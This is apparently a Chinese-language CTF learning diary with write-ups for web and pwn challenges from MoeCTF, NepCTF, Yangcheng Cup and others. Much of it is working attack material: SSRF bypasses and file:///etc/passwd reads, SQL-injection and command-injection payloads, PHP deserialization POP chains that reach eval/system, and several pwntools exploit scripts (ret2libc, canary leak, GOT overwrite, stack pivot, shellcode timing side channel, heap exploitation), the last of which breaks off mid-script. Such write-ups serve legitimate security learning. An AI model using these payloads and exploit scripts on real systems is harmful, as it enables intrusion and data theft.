    禁用不需要的协议。仅仅允许httphttps请求,防止类似于file:///,gopher://,ftp://等引起的问题

    统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

  • 常见后端实现:存在fsockopen / file_get_contents / curl_exec

    $content = file_get_contents($_POST['url']);
    
    $fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
    
    <?php 
    if (isset($_POST['url'])) {
        $link = $_POST['url'];
        $curlobj = curl_init();
        curl_setopt($curlobj, CURLOPT_POST, 0);
        curl_setopt($curlobj,CURLOPT_URL,$link);
        curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
        $result=curl_exec($curlobj);
        curl_close($curlobj);
    
        $filename = './curled/'.rand().'.txt';
        file_put_contents($filename, $result); 
        echo $result;
    }
    ?>
  • 例题

    @绕过challenge=http://jasmineaura.github.io@challenge.basectf.fun:21758/

    if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
    {
      die('这不是 Aura 的博客!');
    }
    
    $blog_content = file_get_contents($challenge);
    if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
    {
      die('请去博客里面写下感想哦~');
    }

    利用file协议:http://127.0.0.1:64686/index.php?url=file:///etc/passwd

    <?php
    $url = $_GET['url'];
    
    $ch = curl_init();
    ...
    
    $res = curl_exec($ch);
    
    $image_info = getimagesizefromstring($res);
    $mime_type = $image_info['mime'];
    header('Content-Type: ' . $mime_type);
    
    curl_close($ch);
    
    echo $res;
    ?>
  • 绕过

    更改IP地址写法:改成其他进制(8进制,16进制,10进制整数,16进制整数)

    IP地址省略模式:10.0.0.1 -> 10.1

    利用后端对URL解析不当:

    • http://www.baidu.com@192.168.0.1/http://192.168.0.1请求的都是192.168.0.1

    • 可以指向任意 ip 的域名xip.iohttp://127.0.0.1.xip.io/==>http://127.0.0.1/

    • 短地址http://dwz.cn/11SMa==>http://127.0.0.1

    • 利用句号127。0。0。1==>127.0.0.1

    • Enclosed alphanumerics

      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
      List:
      ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ 
      ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ 
      ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ 
      ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ 
      Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ 
      ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ 
      ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ 
      ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

#8.20

写了点moeweb,复现2023ciscn半决赛的cgi,学一下http逆向,救命格式好难逆唉

垫刀之路04

url?path=可以访问目录,直接路径穿越访问根目录,flag/tmp/flag

静态网页

提示看板娘换装,抓包到/api/rand_textures/?id=1-64,提示No, you seem to get to a wrong place!!!",找了看板娘的源码里发现api里有个fetch(${this.apiPath}rand_textures/?id=${modelId}-${modelTexturesId}),继续搜索${this.apiPath}发现还有loadlive2d("live2d", ${this.apiPath}get/?id=${modelId}-${modelTexturesId});,于是访问/api/get?id=1-34提示final1l1l_challenge.php,弱类型比较

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
}

最终构造http://127.0.0.1:57736/final1l1l_challenge.php?a=“0”并且POST参数b[“0”]=7571e26c5003305783e784e8f52ea254,也可以用a=0a

#8.21

今天还在写题

System_not_found!

输入name溢出覆盖address输入时候的输入长度,通过address溢出控制程序流直接执行puts泄露libc地址再返回到程序再次控制返回地址到ogg

char name[16]; // [rsp+0h] [rbp-40h] BYREF
size_t address_len; // [rsp+10h] [rbp-30h]
char address[36]; // [rsp+18h] [rbp-28h] BYREF
int name_len; // [rsp+3Ch] [rbp-4h]

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('node4.buuoj.cn', 26870)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

puts_plt = elf.plt['puts']
main = 0x4011E1

r.sendafter(b'>', b'a' * 20)
p = b'a' * 0x28 + p64(puts_plt) * 2 + p64(main)
r.sendafter(b'>', p)

libc = ELF('./libc.so.6')
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x62050
ogg = libc_base + 0xebc81

r.sendafter(b'>', b'a' * 20)
p = b'a' * 0x28 + p64(0x404200 + 0x78) + p64(ogg)
r.sendafter(b'>', p)


r.interactive()

这是什么?GOT!

直接往got部分写,但是从got表开始写到exit,有后门,需要注意的是system里的值不能变,exit覆盖成后门

.got.plt:0000000000404000 off_404000      dq offset puts          ; DATA XREF: _puts↑r
.got.plt:0000000000404000                                         ; main+5F↑o
.got.plt:0000000000404008 off_404008      dq offset write         ; DATA XREF: _write↑r
.got.plt:0000000000404010 off_404010      dq offset system        ; DATA XREF: _system↑r
.got.plt:0000000000404018 off_404018      dq offset printf        ; DATA XREF: _printf↑r
.got.plt:0000000000404020 off_404020      dq offset alarm         ; DATA XREF: _alarm↑r
.got.plt:0000000000404028 off_404028      dq offset read          ; DATA XREF: _read↑r
.got.plt:0000000000404030 off_404030      dq offset setvbuf       ; DATA XREF: _setvbuf↑r
.got.plt:0000000000404038 off_404038      dq offset exit    

exp

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('192.168.56.1', 61337)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

bd = 0x401196
system_got = 0x0000000000401056
p = p64(system_got) * 7 + p64(bd)
r.send(p)

r.interactive()

垫刀之路05: 登陆网站

sql注入,给出了用户名是admin123,直接万能密码1' or '1'='1

电院_Backend

sql注入,源码如下

<?php
error_reporting(0);
session_start();

if($_POST){
    $verify_code = $_POST['verify_code'];

    // 验证验证码
    if (empty($verify_code) || $verify_code !== $_SESSION['captcha_code']) {
        echo json_encode(array('status' => 0,'info' => '验证码错误啦,再输入吧'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $email = $_POST['email'];
    if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
        echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
        unset($_SESSION['captcha_code']);
        exit;
    }

    $pwd = $_POST['pwd'];
    $pwd = md5($pwd);
    $conn = mysqli_connect("localhost","root","123456","xdsec",3306);


    $sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
    $result = mysqli_query($conn,$sql);
    $row = mysqli_fetch_array($result);

    if($row){
        $_SESSION['admin_id'] = $row['id'];
        $_SESSION['admin_email'] = $row['email'];
        echo json_encode(array('status' => 1,'info' => '登陆成功,moectf{testflag}'));
    } else{
        echo json_encode(array('status' => 0,'info' => '管理员邮箱或密码错误'));
        unset($_SESSION['captcha_code']);
    }
}


?>

||代替or,剩余的注释掉,最终构造成:email=a@a.a' || '1'='1'-- ,pwd=aaa,由于pwd进行了md5所以要将后面注释掉

#8.22

一起吃豆豆

index.js里有一行context.fillText(_LIFE ? atob("QmFzZUNURntKNV9nYW0zXzFzX2Vhc3lfdDBfaDRjayEhfQ==") : 'GAME OVER', this.x, this.y);,base64解码得到flag

你听不到我的声音

系统命令执行,不会直接显示,所以放到其他文件里再访问文件:cmd=cat /flag > ./1.txt

shell_exec($_POST['cmd']);

easy_ser

反序列化给我一种脑筋急转弯的感觉…

源码

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

exp

<?php

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        echo "getflag";
    }
}

$re = new re();
$pwn = new pwn();
$web = new web();
$misc = new Misc();

$pwn->dusk = "gods";
$pwn->over = $misc;

$re->chu0 = $pwn;
$web->kw = $re;

$res = serialize($web);
echo $res;

最终构造:O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}

反序列化

序列化/反序列化

  • **序列化serialize() ** PHP -> 字符串,将对象的状态以及它的类名和属性值编码为一个字符串,一般在输出的时候都会先编码后输出,以免遇到保护和私有类序列化后不可见字符丢失的问题echo urlencode($serializedData)
  • 反序列化unserialize()序列化后的字符串 -> PHP 对象,将序列化的字符串解码,并转换回PHP对象
  • 序列化的目的是方便数据的存储,常被用到缓存、sessioncookie等地方
  • 函数参数是一个类会调用它的toString方法

魔术方法

__construct() 当创建对象时触发,一般用于初始化对象,对变量赋初值
__sleep() 使用serialize()时自动触发 
__wakeup() 使用unserialize()时自动触发
__destruct() 当一个对象被销毁时触发
__toString() 当一个类被当成字符串使用时触发
__invoke() 当尝试以调用函数的方式调用一个对象时触发
__call() 在对象上下文中调用不可访问的方法时触发 
__callStatic() 在静态上下文中调用不可访问的方法时触发 
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()empty()触发
__unset() 在不可访问的属性上使用unset()时触发

垫刀之路06: pop base mini moe

源码

<?php

class A {
    // 注意 private 属性的序列化哦
    private $evil;

    // 如何赋值呢
    private $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}


 if(isset($_GET['data']))
 {
     $a = unserialize($_GET['data']);
 }
 else {
     highlight_file(__FILE__);
 }

直接利用a执行系统命令,直接cat没有回显,输出到其他文件中

exp

<?php

class A {
    public $evil;

    public $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    public $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}

$a = new A();

$a->a = 'shell_exec';
$a->evil = 'cat /flag > ./1.txt';

echo serialize($a);

最终得到O:1:"A":2:{s:4:"evil";s:19:"cat /flag > ./1.txt";s:1:"a";s:10:"shell_exec";},执行后访问1.txt

pop moe

绕的脑子快打结了

源码

<?php

class class000 {
    private $payl0ad = 0;
    protected $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    private $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    public $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

提示:题目容器创建方法是 export FLAG='moectf{...}' php-fpm -D

exp

<?php

class class000 {
    public $payl0ad = 0;
    public $what;

    public function __destruct()
    {
        $this->check();
    }

    public function check()
    {
        if($this->payl0ad === 0)
        {
            die('FAILED TO ATTACK');
        }
        $a = $this->what;
        $a();
    }
}

class class001 {
    public $payl0ad;
    public $a;
    public function __invoke()
    {
        $this->a->payload = $this->payl0ad;
    }
}

class class002 {
    public $sec;
    public function __set($a, $b)
    {
        $this->$b($this->sec);
    }

    public function dangerous($whaattt)
    {
        $whaattt->evvval($this->sec);
    }

}

class class003 {
    public $mystr;
    public function evvval($str)
    {
        eval($str);
    }

    public function __tostring()
    {
        return $this->mystr;
    }
}

$class000 = new class000();
$class001 = new class001();
$class002 = new class002();
$class003 = new class003();

$class000->what = $class001;
$class002->sec = $class003;
$class001->payl0ad = 'dangerous';
$class001->a = $class002;
$class000->payl0ad = 1;
$class003->mystr = "system('env');";

$res =  serialize($class000);

echo $res;

垫刀之路07: 泄漏的密码

直接给了PIN码,访问/console输入PIN码然后执行python代码读取flag

>>> import os
>>> os.popen('ls').read()
'__pycache__\napp.py\nflag\ngetPIN.py\nstatic\ntemplates\n'
>>> os.popen('cat flag').read()
'moectf{dOnt_USIng_f14SK-By-D36uG-M0D_@Nd_I3AK-YOur-pIN15}'

#8.23

Catch_the_canary!

破随机数,泄露canary

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('192.168.56.1', 52282)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

for i in range(16768186, 16770000, 1):
    r.sendlineafter(']', str(i))
    r.recvuntil(b'[')
    res = r.recv(1)
    li(res)
    if res == b'E':
        continue
    else:
        break

r.sendline(b'+')
r.sendline(b'+')
r.sendline(str(0xBACD003))

p = b'a' * 0x19
r.sendafter(b'it', p)

r.recvuntil(b'a' * 0x19)
canary = u64(r.recv(7).ljust(8, b'\x00')) << 8
li(hex(canary))

p = b'a' * 0x18 + p64(canary) * 2 + p64(0x4012C9)
r.sendline(p)

r.interactive()

RCEisamazingwithspace

绕过空格:cmd=cat${IFS}/flag

Really EZ POP

源码

<?php
  highlight_file(__FILE__);

class Sink
{
  private $cmd = 'echo 123;';
  public function __toString()
  {
    eval($this->cmd);
  }
}

class Shark
{
  private $word = 'Hello, World!';
  public function __invoke()
  {
    echo 'Shark says:' . $this->word;
  }
}

class Sea
{
  public $animal;
  public function __get($name)
  {
    $sea_ani = $this->animal;
    echo 'In a deep deep sea, there is a ' . $sea_ani();
  }
}

class Nature
{
  public $sea;

  public function __destruct()
  {
    echo $this->sea->see;
  }
}

if ($_POST['nature']) {
  $nature = unserialize($_POST['nature']);
}

exp

<?php
class Sink
{
    private $cmd = 'echo 123;';
    public function setPrivateVar($res) {
        $this->cmd = $res;
    }

    public function __toString()
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function setPrivateVar($res) {
        $this->word = $res;
    }
    public function __invoke()
    {
        echo 'Shark says:' . $this->word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()
    {
        echo $this->sea->see;
    }
}

$Sink = new Sink();
$Nature = new Nature();
$Sea = new Sea();
$Shark = new Shark();

$Sink->setPrivateVar("system('cat /flag');");
$Nature->sea = $Sea;
$Sea->animal = $Shark;
$Shark->setPrivateVar($Sink);

$res = serialize($Nature);
echo $res;

发过去的序列化内容要在私有类的类名和属性名前加\x00,最终发送nature=O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"%00Shark%00word";O:4:"Sink":1:{s:9:"%00Sink%00cmd";s:20:"system('cat /flag');";}}}}

关于非公有字段名称:

  • private 使用: 私有的类的名称 (考虑到继承的情况) 和字段名组合 \x00类名称\x00字段名
  • protected 使用: * 和字段名组合 \x00*\x00字段名

#8.24-8.29

打了NepCTF和羊城杯,通宵两晚,打完开始摆烂

nepbox

现学了一下侧信道时间盲注爆破flag,回头单独写一篇博客记录一下,这里放个exp,本题就是输入shellcode并且在子进程执行,执行前会进行检查禁用一些系统调用,比如execve,并且把write的参数给篡改了,直接时间盲注爆破,不过很痛苦的是,靶机越打越慢最后直接打亖了…重启很多次靶机才凑出flag

if ( syscall_id != 1 )
        {
LABEL_47:
          puts("Bad System Call");
          sub_1467(v7);
        }
        v8 = rand() % dword_4010;
        v24 = (&off_4020)[v8];
        v23 = strlen((&off_4020)[v8]);
        ptrace(PTRACE_SETREGS, (unsigned int)v7, 0LL, v21);

exp

from pwn import *
import time

context(arch='amd64', os='linux', log_level = 'debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

def dbg():
    gdb.attach(r)

charset = '0123456789abcdef'
flag = 'NepCTF{'

for i in range (len(flag),50):
    for j in charset:
        global r
        #r = process('./pwn')
        sleep(3)
        r=remote('neptune-33443.nepctf.lemonprefect.cn',443, ssl=True, sni=True, typ="tcp")
        payload = asm(shellcraft.open("flag"))
        payload += asm(shellcraft.read(3, 'rsp', 0x80))
        shellcode = f'''
            mov al, byte ptr[rsi+{i}]
            cmp al, {ord(j)}
            je $-2
            ret
        '''
        payload += asm(shellcode)
        try:
            r.sendlineafter('right', payload)
            start_time = time.time()
            r.clean(2)
            start_time = time.time() - start_time
            li('time = ' +  str(start_time) + '\n' + 'char = ' + str(j))
            r.close()
        except:
            pass
        else:
            if start_time > 2:
                flag += j
                break
        li('flag = ' + flag)
    if flag[-1]=="}":
        break

li(flag)

r.interactive()

TimeLogger

利用C++的异常处理机制,在抛出异常之后如果没有相应处理异常的部分就会回退到上层函数寻找异常处理,控制返回地址返回到后门函数中处理异常的部分,最终system的参数是bss段的excType,所以还需要通过trace功能溢出改excType

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('139.155.126.78', 32596)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

bd = 0x401BC2
tmp = 0x4040c0

for i in range(9):
    r.sendlineafter(b'chocie', b'1')
    r.sendafter(b'here', b'/bin/sh\x00/bin/sh\x00')
    r.sendlineafter(b'records?', b'y')

r.sendlineafter(b'chocie', b'2')
p = p64(tmp + 0x18) * int(0x78 / 0x8) + p64(bd + 1)
r.sendafter(b'message', p)

r.interactive()

pstack

栈迁移到bss

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn1'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 1
if debug:
    r = remote('139.155.126.78', 38948)
else:
    r = process(file_name)

elf = ELF(file_name)
libc = ELF('./2.35/lib/x86_64-linux-gnu/libc.so.6')

def dbg():
    gdb.attach(r)

ret = 0x4004f6
bss = 0x601a00
start = 0x400540
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leave_ret = 0x00000000004006db
pop_rdi_ret = 0x0000000000400773

def write(rop, target):
    p = b'a' * 0x30 + p64(bss + 0x30) + p64(0x4006C4)
    r.sendafter(b'overflow', p)

    p = rop + p64(target) + p64(leave_ret)
    r.send(p)

p = p64(puts_got) * 2 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start)
write(p, bss + 0x8)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym['puts']
pop_rsi_ret = 0x000000000002be51 + libc_base
pop_rdx_r12_ret = 0x000000000011f2e7 + libc_base
one = [0x50a47, 0xebc81, 0xebc85, 0xebc88, 0xebce2, 0xebd3f, 0xebd43]
ogg = libc_base + one[3]

p = p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_r12_ret) + p64(0) * 2 + p64(ogg)
write(p, bss - 0x8)

r.interactive()

数据安全1

gpt写个代码正则匹配一下

import pandas as pd
import re

# 读取CSV文件
df = pd.read_csv('person_data.csv', header=None)

# 定义正则表达式
birthdate_pattern = r'^\d{8}$'  # 出生日期是8位数字
id_number_pattern = r'^\d{17}[\dX]$'  # 身份证号码是18位的纯数字或最后一位为X
phone_pattern = r'^\d{11}$'  # 手机号码是11位数字
name_pattern = r'^[\u4e00-\u9fa5]{2,4}$'  # 姓名是2-4位中文
gender_pattern = r'^男|女$'  # 性别为男/女
id_pattern = r'^\d{1,4}$'  # 编号为1-4位数字
password_hash_pattern = r'^[a-f0-9]{32}$'  # 密码的hash是32位小写MD5值
username_pattern = r'^[a-zA-Z0-9]+$'  # 用户名由数字字母组成

# 定义识别函数
def identify_column(data):
    data = str(data).strip()
    if re.fullmatch(birthdate_pattern, data):
        return '出生日期'
    elif re.fullmatch(id_number_pattern, data):
        return '身份证号码'
    elif re.fullmatch(phone_pattern, data):
        return '手机号码'
    elif re.fullmatch(name_pattern, data):
        return '姓名'
    elif re.fullmatch(gender_pattern, data):
        return '性别'
    elif re.fullmatch(id_pattern, data):
        return '编号'
    elif re.fullmatch(password_hash_pattern, data):
        return '密码'
    elif re.fullmatch(username_pattern, data):
        return '用户名'
    else:
        return '未知'

# 初始化分组数据
grouped_data = {key: [] for key in ['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号码', '手机号码']}

# 迭代每一行,识别并分组数据
for index, row in df.iterrows():
    if index == 0:
        # 跳过第一行,因为它是列标题
        continue
    identified_columns = [identify_column(cell) for cell in row]
    for col, cell in zip(identified_columns, row):
        if col in grouped_data:
            grouped_data[col].append(cell)

# 将分组后的数据转换为DataFrame
sorted_df = pd.DataFrame({key: pd.Series(value) for key, value in grouped_data.items() if value})

# 保存到新的CSV文件
sorted_df.to_csv('sorted_file.csv', index=False)

print("列已重新排列并保存到 'sorted_file.csv'")

数据安全2

还是问gpttshark提取json

tshark -r data.pcapng -T fields -e http.request.method -e http.file_data > output.txt

再正则匹配

import csv
import json
import re
with open('./output.txt',encoding='utf-8') as file:
    content = file.readlines()

# 判断错误
usernamef  = re.compile(r'^[a-zA-Z0-9]+$')
namef = re.compile(r'^[\u4e00-\u9fff]+$')
sexf =  re.compile(r'^(男|女)$')
birthf = re.compile(r'\d{8}')
idcardf = re.compile(r'\d{17}X|\d{18}')

def calculate_check_digit(number):
    # 权重数组
    weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
    # 校验码数组
    check_digits = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']

    # 将数字转换为字符串并提取每位数字
    number_str = str(number)
    
    actual_check_digit = number_str[-1]
    
    # 计算加权和
    weighted_sum = sum(int(digit) * weight for digit, weight in zip(number_str[:-1], weights))
    # 计算余数
    remainder = weighted_sum % 11
    
    # 获取校验码
    check_digit = check_digits[remainder]
    
    return check_digit == actual_check_digit


# 手机号
phonef = re.compile(r'\d{11}')
phon = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 
        772, 778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 
        746, 755, 756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 
        773, 774, 777, 780, 781, 789, 790, 791, 793, 799]
# 存储所有提取的数据
extracted_data = []
back_data = []

# 处理每一行
for line in content:
    
    # 去掉空白行和不包含 JSON 的行
    if "POST" in line and '{' in line:
        try:
            # 提取 JSON 部分并加载为字典
            # 分离POST方法和数据
            json_data = json.loads(line.split('POST\t')[1])
            extracted_data.append(json_data)
        except json.JSONDecodeError:
            print(f"无法解析行:{line}")


# 打印或进一步处理提取的数据
for data in extracted_data:
    
    username = data.get("username")
    name = data.get("name")
    sex  = data.get("sex")
    birth = data.get("birth")


    idcard  = data.get("idcard")
    card_str = str(idcard)
    second_last_digit = int(card_str[-2])
    if second_last_digit % 2 == 0:
        sexs = '女'
    else:
        sexs = '男'
    is_valid = calculate_check_digit(idcard)



    phone = data.get("phone")
    phone_three = int(str(phone)[:3])

    if not(usernamef.match(username)):
        back_data.append(data)

    elif not(namef.match(name)):
        back_data.append(data)

    elif not(sexf.match(sex)):
        back_data.append(data)

    elif not(birthf.match(birth)):
        back_data.append(data)
    
    elif not(idcardf.match(idcard)):
        back_data.append(data)

    elif birth not in (idcard):
        back_data.append(data)

    elif not(sex==sexs):
        back_data.append(data)

    elif not is_valid:
        back_data.append(data)
    
    elif not(phonef.match(phone)):
        back_data.append(data)

    elif not(phone_three in phon):
        back_data.append(data)

        
i=0
for da in back_data:
    i+=1
    
print(i)

csv_file_path = "1.csv"

with open(csv_file_path, 'w', newline='', encoding='utf-8') as file:
    writer = csv.writer(file)
    
    # 写入表头
    writer.writerow(['username', 'name', 'sex', 'birth', 'idcard', 'phone'])
    
    # 写入数据行
    for da in back_data:
        writer.writerow([da['username'], da['name'], da['sex'], da['birth'], da['idcard'], da['phone']])

print(f"数据已成功写入到 {csv_file_path}")

httpd

漏洞点出在stream = popen(haystack, modes);,直接通过/+指令即可使用系统指令,但直接cat并不会显示,所以我cat之后存到aaa.txt再访问aaa.txt(嗯没错我是用bp写的嘻嘻

GET /cat%20%2Fflag%20%3E%20aaa.txt HTTP/1.0
Host: 139.155.126.78:36321
Content-Length: 0
Connection: close
GET /aaa.txt HTTP/1.0
Host: 139.155.126.78:36321
Content-Length: 0
Connection: close

sandbox

看似简单实则熬了一晚还没打通远程..挺奇怪的,限制堆的大小在0x500-0x900,存在uaf漏洞,禁用了open openat execve execveat,且限制x86-64架构,先用house of applelarge bin,再写shellcodeopenat2,这样本地能通,远程没通,回头学一下fork + ptrace

from pwn import *
import pwnlib.shellcraft as sc

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m')

#context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
    r = remote('49.234.30.109', 9999)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(index, size):
    r.sendlineafter(b'>', b'1')
    r.sendlineafter(b'Index', str(index))
    r.sendlineafter(b'Size', str(size))

def delete(index):
    r.sendlineafter(b'>', b'2')
    r.sendlineafter(b'Index', str(index))

def edit(index, content):
    r.sendlineafter(b'>', b'3')
    r.sendlineafter(b'Index', str(index))
    r.sendafter(b'Content', content)

def show(index):
    r.sendlineafter(b'>', b'4')
    r.sendlineafter(b'Index', str(index))

add(0, 0x540)
add(1, 0x520)
add(2, 0x530)
delete(0)

libc = ELF('./libc.so.6')
show(0)
r.recvuntil(b': ')
libc_base = u64(r.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x1f6cc0

add(3, 0x550)
edit(0, b'a' * 0x18)
show(0)
r.recvuntil(b'a' * 0x18)
heap_base = u64(r.recvuntil('\n')[:-1].ljust(8, b'\x00')) - 0x290
li(hex(heap_base))

_IO_list_all = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = 0x0000000000050877 + libc_base

delete(2)
p1 = p64(0) + p64(leave_ret) + p64(heap_base + 0x290) + p64(_IO_list_all - 0x20)
edit(0, p1)

add(4, 0x550)
heap_addr = heap_base + 0x550 + 0x530 + 0x290
pop_rdi_ret = 0x0000000000023b65 + libc_base
pop_rax_ret = 0x000000000003fa43 + libc_base
